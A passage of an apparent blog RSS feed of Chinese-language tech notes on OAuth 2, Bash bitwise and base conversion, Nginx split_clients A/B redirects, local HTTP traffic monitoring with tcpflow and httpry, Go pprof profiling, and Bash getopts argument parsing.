&lt;td>Example: Employees in a company are required to authenticate through the network before accessing their company email&lt;/td>
&lt;td>Example: After an employee successfully authenticates, the system determines what information the employees are allowed to access&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="oauth-2">OAuth 2&lt;/h3>
&lt;h4 id="client-credentials-grant">&lt;a href="https://datatracker.ietf.org/doc/html/rfc6749#section-4.4" target="_blank" rel="noopener">Client Credentials Grant&lt;/a>&lt;/h4>
&lt;blockquote>
&lt;p>这种模式是最简单的，其实就是客户端告诉服务端自己是哪个客户端，服务器就将 access_token 下发&lt;/p></description></item><item><title>Bash 位元運算子</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220704-bash-bitwise-operators/</link><pubDate>Mon, 04 Jul 2022 15:20:39 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220704-bash-bitwise-operators/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/bash-bitwise-operators" target="_blank" rel="noopener">Bash 位元運算子&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="bash-的進位轉換工具">Bash 的進位轉換工具&lt;/h3>
&lt;ul>
&lt;li>Bash 的算術展開允許我們用「進位數字 + #」的方式表示任意進位的數字。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ echo &lt;span style="color:#66d9ef">$((&lt;/span>&lt;span style="color:#ae81ff">2#1001&lt;/span>&lt;span style="color:#66d9ef">))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">9&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>bc 可以用 ibase（輸入進位）與 obase（輸出進位）輕鬆進行進位轉換。以下將十進位的 9 轉成二進位。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ echo &lt;span style="color:#e6db74">&amp;#34;ibase=10;obase=2;9&amp;#34;&lt;/span> | bc
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">1001&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Nginx 使用 split_clients 进行简易 A/B 测试</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220704-nginx-ab-testing/</link><pubDate>Mon, 04 Jul 2022 14:36:23 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220704-nginx-ab-testing/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://u.sb/nginx-ab-testing/" target="_blank" rel="noopener">Nginx 使用 split_clients 进行简易 A/B 测试&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="ngx_">&lt;a href="https://nginx.org/en/docs/http/ngx_http_split_clients_module.html" target="_blank" rel="noopener">ngx_http_split_clients_module&lt;/a>&lt;/h5>
&lt;h5 id="configure">configure&lt;/h5>
&lt;blockquote>
&lt;p>这里举例，我们想要 20% 的用户跳转到网址 &lt;a href="https://example.com/" target="_blank" rel="noopener">https://example.com/&lt;/a>，30% 的用户跳转到网址 &lt;a href="https://example.org/" target="_blank" rel="noopener">https://example.org/&lt;/a>，剩下的跳转到网址 &lt;a href="https://examle.edu/" target="_blank" rel="noopener">https://examle.edu/&lt;/a>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">split_clients&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>${remote_addr}AAA&amp;#34; $variant {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">20%&lt;/span> &lt;span style="color:#e6db74">https://example.com/&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">30%&lt;/span> &lt;span style="color:#e6db74">https://example.org/&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#e6db74">https://example.edu/&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#e6db74">[::]:80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">_&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">302&lt;/span> ${variant};
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>上述例子中，按照访客请求的 IP 地址 加上 AAA 字符串 会使用 MurmurHash2 转换成数字，如果得出的数字在前 20%，那么 $variant 值为 &lt;a href="https://example.com/" target="_blank" rel="noopener">https://example.com/&lt;/a>，相应的在中间 30% 区间的值为 &lt;a href="https://example.org/" target="_blank" rel="noopener">https://example.org/&lt;/a>，其他的为 &lt;a href="https://example.edu/" target="_blank" rel="noopener">https://example.edu/&lt;/a>。&lt;/p>
&lt;h6 id="指定不同的目录">指定不同的目录&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">root&lt;/span> &lt;span style="color:#e6db74">/var/www/&lt;/span>${variant};
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h6 id="指定不同的首页">指定不同的首页&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">index&lt;/span> &lt;span style="color:#e6db74">index-&lt;/span>${variant}.html;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>即時監控網路介面上的 HTTP 請求</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220623-monitoring-http-requests-network-interfaces/</link><pubDate>Thu, 23 Jun 2022 16:48:42 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220623-monitoring-http-requests-network-interfaces/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/monitoring-http-requests-network-interfaces" target="_blank" rel="noopener">即時監控網路介面上的 HTTP 請求&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="tcpflow">tcpflow&lt;/h3>
&lt;blockquote>
&lt;p>&lt;code>apt/dnf install tcpflow&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo tcpflow -p -c -i wlp0s20f3 port &lt;span style="color:#ae81ff">80&lt;/span> | grep -oE &lt;span style="color:#e6db74">&amp;#39;(GET|POST) .* HTTP/1.[01]|Host: .*&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>reportfilename: ./report.xml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tcpflow: listening on wlp0s20f3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GET /mirrors.txt HTTP/1.1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>-p&lt;/code> 停用混雜模式&lt;/li>
&lt;li>&lt;code>-c&lt;/code> 只輸出到主控台，不建立檔案&lt;/li>
&lt;li>&lt;code>-i&lt;/code> 指定網路介面
grep 會接收 tcpflow 的輸出&lt;/li>
&lt;li>&lt;code>-o&lt;/code> 只顯示符合樣式的那一段&lt;/li>
&lt;li>&lt;code>-E&lt;/code> 表示樣式是延伸正則表示式（ERE）&lt;/li>
&lt;/ul>
&lt;h3 id="httpry">httpry&lt;/h3>
&lt;blockquote>
&lt;p>&lt;code>https://github.com/jbittel/httpry.git&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo httpry -i wlp0s20f3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>httpry version 0.1.8 -- HTTP logging and information retrieval tool
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Copyright &lt;span style="color:#f92672">(&lt;/span>c&lt;span style="color:#f92672">)&lt;/span> 2005-2014 Jason Bittel &amp;lt;jason.bittel@gmail.com&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Starting capture on wlp0s20f3 interface
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2022-06-22 16:38:12.166 192.168.1.24 172.217.17.238 &amp;gt; GET google.com / HTTP/1.1 - -
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2022-06-22 16:38:12.199 172.217.17.238 192.168.1.24 &amp;lt; - - - HTTP/1.0 400 Bad Request
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2022-06-22 16:38:23.090 192.168.1.24 172.217.17.238 &amp;gt; POST google.com / HTTP/1.1 - -
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2022-06-22 16:38:23.163 172.217.17.238 192.168.1.24 &amp;lt; - - - HTTP/1.1 405 Method Not Allowed
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>golang pprof 实战</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220622-go-ppof-practice/</link><pubDate>Wed, 22 Jun 2022 15:29:02 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220622-go-ppof-practice/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.wolfogre.com/posts/go-ppof-practice/" target="_blank" rel="noopener">golang pprof 实战&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/wolfogre/go-pprof-practice" target="_blank" rel="noopener">炸弹程序&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 略&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#e6db74">&amp;#34;net/http/pprof&amp;#34;&lt;/span> &lt;span style="color:#75715e">// 会自动注册 handler 到 http server，方便通过 http 接口获取程序运行采样报告&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 略&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 略&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">GOMAXPROCS&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// 限制 CPU 使用数，避免过载&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">SetMutexProfileFraction&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// 开启对锁调用的跟踪&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">SetBlockProfileRate&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// 开启对阻塞操作的跟踪&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 启动一个 http server，注意 pprof 相关的 handler 已经自动注册过了&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// /debug/pprof/&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">ListenAndServe&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;:6060&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Exit&lt;/span>(&lt;span style="color:#ae81ff">0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 略&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>http://localhost:6060/debug/pprof/&lt;/li>
&lt;/ul>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>类型&lt;/th>
&lt;th>描述&lt;/th>
&lt;th>备注&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>allocs&lt;/td>
&lt;td>内存分配情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>blocks&lt;/td>
&lt;td>阻塞操作情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>cmdline&lt;/td>
&lt;td>显示程序启动命令及参数&lt;/td>
&lt;td>可以用浏览器打开，这里会显示 ./go-pprof-practice&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>goroutine&lt;/td>
&lt;td>当前所有协程的堆栈信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>heap&lt;/td>
&lt;td>堆上内存使用情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>mutex&lt;/td>
&lt;td>锁争用情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>profile&lt;/td>
&lt;td>CPU 占用情况的采样信息&lt;/td>
&lt;td>浏览器打开会下载文件&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>threadcreate&lt;/td>
&lt;td>系统线程创建情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>trace&lt;/td>
&lt;td>程序运行跟踪信息&lt;/td>
&lt;td>浏览器打开会下载文件，本文不涉及，可另行参阅《深入浅出 Go trace》&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>排查 CPU 占用过高&lt;/strong>&lt;/p></description></item><item><title>在 Bash 中解析命令列參數</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220607-bash-parse-command-line-arguments/</link><pubDate>Tue, 07 Jun 2022 14:48:47 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220607-bash-parse-command-line-arguments/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/bash-parse-command-line-arguments" target="_blank" rel="noopener">在 Bash 中解析命令列參數&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="getopts">getopts&lt;/h3>
&lt;blockquote>
&lt;p>&lt;code>getopts optstring opt [arg ...]&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> getopts &lt;span style="color:#e6db74">&amp;#39;abc:h&amp;#39;&lt;/span> opt; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$opt&lt;span style="color:#e6db74">&amp;#34;&lt;/span> in
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> a&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;a&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> b&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;b&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> c&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> arg&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>$OPTARG&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;c&amp;#39; with &amp;#39;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>OPTARG&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#39; argument&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ?|h&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Usage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">esac&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shift &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$((&lt;/span> $OPTIND &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#66d9ef">))&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>optstring 代表支援的選項。若某個選項需要參數，則在它後面加冒號 (:)。例如選項 c 需要參數，會寫成 c:&lt;/li>
&lt;li>當選項有關聯參數時，getopts 會將參數字串存到 OPTARG shell 變數中。例如 option c 的參數會存到 OPTARG。&lt;/li>
&lt;li>opt 包含已解析的選項。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> getopts &lt;span style="color:#e6db74">&amp;#39;:abc:h&amp;#39;&lt;/span> opt; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$opt&lt;span style="color:#e6db74">&amp;#34;&lt;/span> in
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> a&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;a&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> b&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;b&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> c&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> arg&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>$OPTARG&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;c&amp;#39; with &amp;#39;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>OPTARG&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#39; argument&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> h&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Usage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> :&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo -e &lt;span style="color:#e6db74">&amp;#34;option requires an argument.\nUsage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ?&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo -e &lt;span style="color:#e6db74">&amp;#34;Invalid command option.\nUsage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">esac&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shift &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$((&lt;/span> $OPTIND &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#66d9ef">))&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>注意我們也更新了 optstring，現在以冒號 (:) 開頭，會抑制預設的錯誤訊息。&lt;/li>
&lt;li>當 OPTERR 變數設為 0 時，getopts 會停用錯誤訊息輸出。&lt;/li>
&lt;/ul>
&lt;h3 id="使用-getopt-解析長選項">使用 getopt 解析長選項&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
